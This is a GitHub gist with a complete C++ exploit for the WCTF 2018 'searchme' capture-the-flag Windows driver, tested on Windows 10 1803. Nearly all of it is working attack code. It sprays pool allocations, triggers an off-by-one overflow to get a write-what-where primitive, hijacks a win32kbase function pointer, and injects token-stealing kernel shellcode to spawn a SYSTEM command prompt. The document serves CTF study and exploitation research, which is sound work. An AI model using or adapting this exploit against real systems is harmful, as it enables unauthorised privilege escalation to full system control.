Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save sasqwatch/5345bddc47abfd4eea58c90923136d5b to your computer and use it in GitHub Desktop.
Save sasqwatch/5345bddc47abfd4eea58c90923136d5b to your computer and use it in GitHub Desktop.
WCTF 2018 "searchme" exploit by Mateusz "j00ru" Jurczyk
// WCTF 2018 "searchme" task exploit
//
// Author: Mateusz "j00ru" Jurczyk
// Date: 6 July 2018
// Tested on: Windows 10 1803 (10.0.17134.165)
//
// See also: https://j00ru.vexillium.org/2018/07/exploiting-a-windows-10-pagedpool-off-by-one/
#include <Windows.h>
#include <winternl.h>
#include <ntstatus.h>
#include <algorithm>
#include <cstdio>
#include <vector>
#pragma comment(lib, "ntdll.lib")
//
// Internal data structures found in the symbols of the original elgoog2 challenge from 34C3 CTF
// (see https://archive.aachen.ccc.de/34c3ctf.ccc.ac/challenges/index.html).
//
struct _ii_posting_list {
char token[16];
unsigned __int64 size;
unsigned __int64 capacity;
unsigned int data[1];
};
struct _ii_token_table {
unsigned __int64 size;
unsigned __int64 capacity;
_ii_posting_list *slots[1];
};
struct _inverted_index {
int compressed;
_ii_token_table *table;
};
//
// Global objects used in the exploit.
//
namespace globals {
// Handle to the \\.\Searchme vulnerable device.
HANDLE hDevice;
// A fake posting list set up in user-mode, identified as "fake" and with a UINT64_MAX capacity.
// It is used for a write-what-where primitive through an adequately set "size" field.
_ii_posting_list PostingList = { "fake", 0, 0xFFFFFFFFFFFFFFFFLL };
} // namespace globals
//
// Constant, structures and functions needed to obtain driver image base addresses through
// NtQuerySystemInformation(SystemModuleInformation).
//
#define SystemModuleInformation ((SYSTEM_INFORMATION_CLASS)11)
typedef struct _RTL_PROCESS_MODULE_INFORMATION {
HANDLE Section;
PVOID MappedBase;
PVOID ImageBase;
ULONG ImageSize;
ULONG Flags;
USHORT LoadOrderIndex;
USHORT InitOrderIndex;
USHORT LoadCount;
USHORT OffsetToFileName;
UCHAR FullPathName[256];
} RTL_PROCESS_MODULE_INFORMATION, *PRTL_PROCESS_MODULE_INFORMATION;
typedef struct _RTL_PROCESS_MODULES {
ULONG NumberOfModules;
RTL_PROCESS_MODULE_INFORMATION Modules[1];
} RTL_PROCESS_MODULES, *PRTL_PROCESS_MODULES;
BOOLEAN GetKernelModuleBase(PCHAR Name, ULONG_PTR *lpBaseAddress) {
PRTL_PROCESS_MODULES ModuleInformation = NULL;
ULONG InformationSize = 16;
NTSTATUS NtStatus;
do {
InformationSize *= 2;
ModuleInformation = (PRTL_PROCESS_MODULES)realloc(ModuleInformation, InformationSize);
memset(ModuleInformation, 0, InformationSize);
NtStatus = NtQuerySystemInformation(SystemModuleInformation,
ModuleInformation,
InformationSize,
NULL);
} while (NtStatus == STATUS_INFO_LENGTH_MISMATCH);
if (!NT_SUCCESS(NtStatus)) {
return FALSE;
}
BOOL Success = FALSE;
for (UINT i = 0; i < ModuleInformation->NumberOfModules; i++) {
CONST PRTL_PROCESS_MODULE_INFORMATION Module = &ModuleInformation->Modules[i];
CONST USHORT OffsetToFileName = Module->OffsetToFileName;
if (!strcmp((const char *)&Module->FullPathName[OffsetToFileName], Name)) {
*lpBaseAddress = (ULONG_PTR)ModuleInformation->Modules[i].ImageBase;
Success = TRUE;
break;
}
}
free(ModuleInformation);
return Success;
}
//
// Functions facilitating communication with the Searchme driver through IOCTLs.
//
#define IOCTL_CREATE_INDEX (0x222000)
#define IOCTL_CLOSE_INDEX (0x222004)
#define IOCTL_ADD_TO_INDEX (0x222008)
#define IOCTL_COMPRESS_INDEX (0x22200C)
ULONG_PTR CreateEmptyIndex() {
ULONG_PTR Address;
DWORD BytesReturned;
if (!DeviceIoControl(globals::hDevice,
IOCTL_CREATE_INDEX,
/*lpInBuffer=*/NULL, /*nInBufferSize=*/0,
/*lpOutBuffer=*/&Address, /*nOutBufferSize=*/sizeof(Address),
&BytesReturned,
NULL)) {
return 0;
}
return Address;
}
BOOLEAN CloseIndex(ULONG_PTR Address) {
DWORD BytesReturned;
return DeviceIoControl(globals::hDevice,
IOCTL_CLOSE_INDEX,
/*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address),
/*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0,
&BytesReturned,
NULL);
}
BOOLEAN AddToIndex(ULONG_PTR Address, DWORD Value, PCHAR Token) {
struct {
ULONG_PTR Address;
DWORD Value;
CHAR Token[16];
} Request;
DWORD BytesReturned;
RtlZeroMemory(&Request, sizeof(Request));
Request.Address = Address;
Request.Value = Value;
strncpy_s(Request.Token, Token, sizeof(Request.Token));
return DeviceIoControl(globals::hDevice,
IOCTL_ADD_TO_INDEX,
/*lpInBuffer=*/&Request, /*nInBufferSize=*/sizeof(Request),
/*lpOutBuffer=*/NULL, /*nOutBufferSize=*/0,
&BytesReturned,
NULL);
}
ULONG_PTR CompressIndex(ULONG_PTR Address) {
ULONG_PTR NewAddress = 0;
DWORD BytesReturned;
if (!DeviceIoControl(globals::hDevice,
IOCTL_COMPRESS_INDEX,
/*lpInBuffer=*/&Address, /*nInBufferSize=*/sizeof(Address),
/*lpOutBuffer=*/&NewAddress, /*nOutBufferSize=*/sizeof(NewAddress),
&BytesReturned,
NULL)) {
return 0;
}
return NewAddress;
}
//
// A helper function converting an integer to a string within the [a-h] charset.
//
std::string StringFromNumber(unsigned int x) {
const char charset[] = "abcdefgh";
char buf[2] = { 0, 0 };
std::string ret;
for (int i = 0; i < 11; i++) {
buf[0] = charset[x & 7];
ret += buf;
x >>= 3;
}
return ret;
}
//
// Functions for leveraging the write-what-where primitive through a fully controlled posting list
// set up in user-mode memory.
//
BOOLEAN SetupWriteWhatWhere() {
CONST PVOID kTablePointer = (PVOID)0x0000056c00000558;
CONST PVOID kTableBase = (PVOID)0x0000056c00000000;
if (VirtualAlloc(kTableBase, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE) == NULL) {
printf("[-] Unable to allocate fake base.\n");
return FALSE;
}
_ii_token_table *TokenTable = (_ii_token_table *)kTablePointer;
TokenTable->size = 1;
TokenTable->capacity = 1;
TokenTable->slots[0] = &globals::PostingList;
return TRUE;
}
VOID WriteWhatWhere4(ULONG_PTR CorruptedIndex, ULONG_PTR Where, DWORD What) {
globals::PostingList.size = (Where - (ULONG_PTR)&globals::PostingList.data) / sizeof(DWORD);
AddToIndex(CorruptedIndex, What, "fake");
}
VOID WriteWhatWhere8(ULONG_PTR CorruptedIndex, ULONG_PTR Where, ULONG_PTR What) {
WriteWhatWhere4(CorruptedIndex, Where, (What & 0xffffffffLL));
WriteWhatWhere4(CorruptedIndex, Where + 4, ((What >> 32LL) & 0xffffffffLL));
}
VOID WriteWhatWhereString(ULONG_PTR CorruptedIndex, ULONG_PTR Where, std::string What) {
What.resize((What.size() + 3) & (~3), 0xcc);
for (size_t i = 0; i < What.size(); i += 4) {
WriteWhatWhere4(CorruptedIndex, Where + i, *(DWORD*)&What.data()[i]);
}
}
//
// A helper function spawning a (hopefully elevated) command prompt and waiting for its termination.
//
VOID SpawnAndWaitForShell() {
STARTUPINFO si;
PROCESS_INFORMATION pi;
RtlZeroMemory(&si, sizeof(si));
RtlZeroMemory(&pi, sizeof(pi));
si.cb = sizeof(si);
if (CreateProcess(L"C:\\Windows\\system32\\cmd.exe",
NULL, NULL, NULL, FALSE, 0, NULL, L"C:\\", &si, &pi)) {
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
}
}
//
// main()
//
int main() {
std::string Shellcode;
int ExitCode = 0;
// Make this a GUI thread.
LoadLibrary(L"user32.dll");
// Get the image base addresses of all required images.
ULONG_PTR Nt_Addr = 0, Win32kBase_Addr = 0;
if (!GetKernelModuleBase("ntoskrnl.exe", &Nt_Addr) ||
!GetKernelModuleBase("win32kbase.sys", &Win32kBase_Addr)) {
printf("[-] Unable to acquire kernel module address information.\n");
return 1;
}
printf("[+] ntoskrnl: %llx, win32kbase: %llx\n", Nt_Addr, Win32kBase_Addr);
// Open device for communication.
globals::hDevice = CreateFile(L"\\\\.\\Searchme",
GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (globals::hDevice == INVALID_HANDLE_VALUE) {
printf("[-] Unable to open handle to vulnerable driver.\n");
return 1;
}
// Create a single source index which generates 0x2000-byte long indexes after compression.
ULONG_PTR SourceIndex = CreateEmptyIndex();
for (int i = 0; i < 0x154; i++) {
AddToIndex(SourceIndex, 0x1000 + i, (PCHAR)StringFromNumber(i).c_str());
}
printf("[+] Source Index: %llx\n", SourceIndex);
// "Spray" compressed indexes in an attempt to allocate adjacent objects on the pool.
CONST UINT kObjectsCount = 32;
CONST UINT kObjectSize = 0x2000;
std::vector<ULONG_PTR> Compressed;
for (int i = 0; i < kObjectsCount; i++) {
Compressed.push_back(CompressIndex(SourceIndex));
}
sort(Compressed.begin(), Compressed.end());
// Search for the adjacent objects among the generated indexes, and when they are found, free the
// first one in the pair.
ULONG AdjacentPairs = 0;
for (int i = 1; i < Compressed.size(); i++) {
if (Compressed[i] - Compressed[i - 1] == kObjectSize) {
CloseIndex(Compressed[i - 1]);
Compressed[i - 1] = 0;
AdjacentPairs++;
i++;
}
}
if (AdjacentPairs == 0) {
printf("[-] No adjacent allocations found, exploitation impossible.\n");
ExitCode = 1;
goto fail;
}
printf("[+] Total adjacent objects: %d\n", AdjacentPairs);
// Add more data to the source index, which still keeps the resulting compressed object at 0x2000
// bytes, but also overflows it by a single 0x00 byte.
AddToIndex(SourceIndex, 7, "zzzzzz");
AddToIndex(SourceIndex, 0, "zzzzzz");
AddToIndex(SourceIndex, 1, "zzzzzz");
AddToIndex(SourceIndex, 6, "zzzzzz");
AddToIndex(SourceIndex, 7, "zzzzzz");
// Trigger the off-by-one nul byte overflow to clear the "compressed" flag of an adjacent object,
// resulting in a type confusion.
CompressIndex(SourceIndex);
// Set up a fake posting list in user-mode, to enable us to use the write-what-where primitive.
SetupWriteWhatWhere();
// Try to detect which index was corrupted by attempting to use the write-what-where condition to
// write to a test variable on the stack.
ULONG_PTR CorruptedIndex = 0;
DWORD TestTarget = 0;
for (ULONG_PTR Index : Compressed) {
WriteWhatWhere4(Index, (ULONG_PTR)&TestTarget, 1);
if (TestTarget == 1) {
CorruptedIndex = Index;
break;
}
}
if (CorruptedIndex == 0) {
printf("[-] No corrupted index found, overflow unsuccessful?\n");
ExitCode = 1;
goto fail;
}
printf("[+] Corrupted index: %llx\n", CorruptedIndex);
// System-specific offsets within ntoskrnl.exe and win32kbase.sys.
#define ExAllocatePoolWithTag_OFFSET 0x2F4410
#define PsInitialSystemProcess_OFFSET 0x45B260
#define NtGdiDdDDIGetContextSchedulingPriority_OFFSET 0x1B60C0
// Overwrite a function pointer in the .data section of win32kbase.sys used by
// win32kbase!NtGdiDdDDIGetContextSchedulingPriority. The system call is a trivial wrapper around
// dxgkrnl!DxgkGetContextSchedulingPriority and passes the original arguments. Thanks to this, we
// can replace the pointer with the address of nt!ExAllocatePoolWithTag and allocate executable
// memory from the NonPagedPool for the EoP shellcode.
//
// The technique was introduced by Morten Schenk at Black Hat USA 2017 in his talk titled
// "TAKING WINDOWS 10 KERNEL EXPLOITATION TO THE NEXT LEVEL – LEVERAGING WRITE-WHAT-WHERE
// VULNERABILITIES IN CREATORS UPDATE".
//
// We chose a different, less frequently invoked system call, because overwriting the proposed
// NtGdiDdDDICreateAllocation pointer caused the graphical subsystem to malfunction.
WriteWhatWhere8(CorruptedIndex,
/*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET,
/*What=*/Nt_Addr + ExAllocatePoolWithTag_OFFSET);
// Load the address of the gdi32full!NtGdiDdDDIGetContextSchedulingPriority user-mode entry point
// to our overwritten kernel pointer.
HMODULE hGdi32 = LoadLibrary(L"gdi32full.dll");
typedef ULONG_PTR(__stdcall *FunctionProxy)(SIZE_T, SIZE_T);
FunctionProxy KernelFunction =
(FunctionProxy)GetProcAddress(hGdi32, "NtGdiDdDDIGetContextSchedulingPriority");
// Allocate one page of kernel RWX memory.
ULONG_PTR ShellcodeAddr = KernelFunction(0 /* NonPagedPool */, 0x1000);
printf("[+] Kernel allocation: %llx\n", ShellcodeAddr);
// The shellcode takes the address of a pointer to a process object in the kernel in the first
// argument (RCX), and copies its security token to the current process.
//
// 00000000 65488B0425880100 mov rax, [gs:KPCR.Prcb.CurrentThread]
// -00
// 00000009 488B80B8000000 mov rax, [rax + ETHREAD.Tcb.ApcState.Process]
// 00000010 488B09 mov rcx, [rcx]
// 00000013 488B8958030000 mov rcx, [rcx + EPROCESS.Token]
// 0000001A 48898858030000 mov [rax + EPROCESS.Token], rcx
// 00000021 C3 ret
CONST BYTE ShellcodeBytes[] = "\x65\x48\x8B\x04\x25\x88\x01\x00\x00\x48\x8B\x80\xB8\x00\x00\x00"
"\x48\x8B\x09\x48\x8B\x89\x58\x03\x00\x00\x48\x89\x88\x58\x03\x00"
"\x00\xC3";
Shellcode.assign((PCHAR)ShellcodeBytes, sizeof(ShellcodeBytes));
// Write the token-swap shellcode to allocated kernel memory.
WriteWhatWhereString(CorruptedIndex, /*Where=*/ShellcodeAddr, /*What=*/Shellcode);
// Overwrite the function pointer again with the address of our shellcode.
WriteWhatWhere8(CorruptedIndex,
/*Where=*/Win32kBase_Addr + NtGdiDdDDIGetContextSchedulingPriority_OFFSET,
/*What=*/ShellcodeAddr);
// Copy the security token of the System process to the current process.
KernelFunction(Nt_Addr + PsInitialSystemProcess_OFFSET, 0);
// Spawn elevated command prompt.
SpawnAndWaitForShell();
fail:
// Clean up all active indexes and close the device.
for (ULONG_PTR Index : Compressed) {
if (Index != 0) {
CloseIndex(Index);
}
}
CloseIndex(SourceIndex);
CloseHandle(globals::hDevice);
return ExitCode;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment